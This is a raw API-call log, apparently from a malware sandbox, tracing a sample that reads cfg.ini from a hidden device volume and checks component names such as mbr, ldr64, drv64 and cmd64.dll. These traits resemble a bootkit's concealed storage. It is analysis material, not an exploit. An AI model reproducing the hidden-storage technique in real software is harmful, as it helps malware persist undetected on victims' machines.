0xfffffa8003aa6e20 [0122.736] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.736] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.736] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.736] IdePortDispatch () returned 0x103 [0122.736] KeWaitForMutexObject () returned 0x0 [0122.737] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.737] KeLeaveCriticalRegion () [0122.737] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.737] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.737] KeEnterCriticalRegion () [0122.737] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.737] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.737] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.737] KeLeaveCriticalRegion () [0122.737] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.737] KeEnterCriticalRegion () [0122.737] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.737] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.737] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be4340, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.737] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.737] KeLeaveCriticalRegion () [0122.737] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.737] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.737] KeEnterCriticalRegion () [0122.737] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.737] ExFreePoolWithTag (P=0xfffffa8003be67b0, Tag=0x0) [0122.737] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.737] KeLeaveCriticalRegion () [0122.737] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.738] ReleaseMutex (hMutex=0xf0) returned 1 [0122.738] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0122.738] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0122.738] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0122.738] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.738] KeEnterCriticalRegion () [0122.738] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.738] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.738] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.738] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.738] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.738] IdePortDispatch () returned 0x103 [0122.738] KeWaitForMutexObject () returned 0x0 [0122.738] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.738] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.738] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.738] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.738] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.738] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.738] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.738] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.738] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.738] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.738] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.738] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.738] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.738] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.738] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.739] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.739] KeLeaveCriticalRegion () [0122.739] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.739] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0122.739] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.739] KeEnterCriticalRegion () [0122.739] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.739] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.739] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.739] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.739] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.739] IdePortDispatch () returned 0x103 [0122.739] KeWaitForMutexObject () returned 0x0 [0122.739] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.739] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.739] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.739] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.739] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.739] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.739] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.739] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.739] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.739] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.739] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.739] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.739] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.739] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.739] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.739] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.740] KeLeaveCriticalRegion () [0122.740] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.740] ReleaseMutex (hMutex=0x100) returned 1 [0122.740] Sleep (dwMilliseconds=0x2bf20) [0122.746] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6c5ada50, dwHighDateTime=0x1d24fa4)) [0122.746] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0122.746] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.746] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.746] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.746] KeEnterCriticalRegion () [0122.746] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.746] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.746] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.746] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.746] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.746] IdePortDispatch () returned 0x103 [0122.746] KeWaitForMutexObject () returned 0x0 [0122.746] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.746] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.746] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.746] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.746] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.747] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be68b0 [0122.747] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.747] KeLeaveCriticalRegion () [0122.747] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.747] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.747] KeEnterCriticalRegion () [0122.747] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.747] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.747] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.747] KeLeaveCriticalRegion () [0122.747] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.747] KeEnterCriticalRegion () [0122.747] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.747] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.747] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.747] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.747] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.747] IdePortDispatch () returned 0x103 [0122.747] KeWaitForMutexObject () returned 0x0 [0122.747] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.747] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.747] KeLeaveCriticalRegion () [0122.747] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.747] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.747] KeEnterCriticalRegion () [0122.747] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.747] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d18000 [0122.747] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.747] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.747] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.747] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.747] IdePortDispatch () returned 0x103 [0122.747] KeWaitForMutexObject () returned 0x0 [0122.748] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.748] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.748] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.748] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.748] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.748] IdePortDispatch () returned 0x103 [0122.748] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.748] KeLeaveCriticalRegion () [0122.748] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.748] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.748] KeEnterCriticalRegion () [0122.748] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.748] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.749] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.749] KeLeaveCriticalRegion () [0122.749] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.749] KeEnterCriticalRegion () [0122.749] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.749] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.749] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be59f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.749] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.749] KeLeaveCriticalRegion () [0122.749] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.749] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.749] KeEnterCriticalRegion () [0122.749] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.749] ExFreePoolWithTag (P=0xfffffa8003be68b0, Tag=0x0) [0122.749] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.749] KeLeaveCriticalRegion () [0122.749] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.749] ReleaseMutex (hMutex=0xf0) returned 1 [0122.749] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.749] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.749] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.749] KeEnterCriticalRegion () [0122.749] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.749] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.749] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.749] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.749] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.749] IdePortDispatch () returned 0x103 [0122.749] KeWaitForMutexObject () returned 0x0 [0122.749] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.749] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.749] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.749] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.749] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.749] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be6b00 [0122.749] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.749] KeLeaveCriticalRegion () [0122.749] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.750] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.750] KeEnterCriticalRegion () [0122.750] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.750] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.750] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.750] KeLeaveCriticalRegion () [0122.750] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.750] KeEnterCriticalRegion () [0122.750] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.750] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.750] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.750] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.750] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.750] IdePortDispatch () returned 0x103 [0122.750] KeWaitForMutexObject () returned 0x0 [0122.750] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.750] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.750] KeLeaveCriticalRegion () [0122.750] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.750] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.750] KeEnterCriticalRegion () [0122.750] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.750] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d19000 [0122.750] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.750] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.750] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.750] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.750] IdePortDispatch () returned 0x103 [0122.750] KeWaitForMutexObject () returned 0x0 [0122.751] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.751] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.751] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.751] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.751] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.751] IdePortDispatch () returned 0x103 [0122.751] KeWaitForMutexObject () returned 0x0 [0122.751] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.751] KeLeaveCriticalRegion () [0122.751] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.751] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.751] KeEnterCriticalRegion () [0122.751] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.751] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.751] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.751] KeLeaveCriticalRegion () [0122.751] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.751] KeEnterCriticalRegion () [0122.751] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.751] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.751] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be4340, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.751] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.752] KeLeaveCriticalRegion () [0122.752] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.752] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.752] KeEnterCriticalRegion () [0122.752] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.752] ExFreePoolWithTag (P=0xfffffa8003be6b00, Tag=0x0) [0122.752] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.752] KeLeaveCriticalRegion () [0122.752] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.752] ReleaseMutex (hMutex=0xf0) returned 1 [0122.752] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.752] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0122.752] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.752] KeEnterCriticalRegion () [0122.752] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.752] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.752] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.752] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.752] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.752] IdePortDispatch () returned 0x103 [0122.752] KeWaitForMutexObject () returned 0x0 [0122.752] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.752] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.752] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.752] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.752] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.752] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be7e10 [0122.752] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.752] KeLeaveCriticalRegion () [0122.752] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.752] 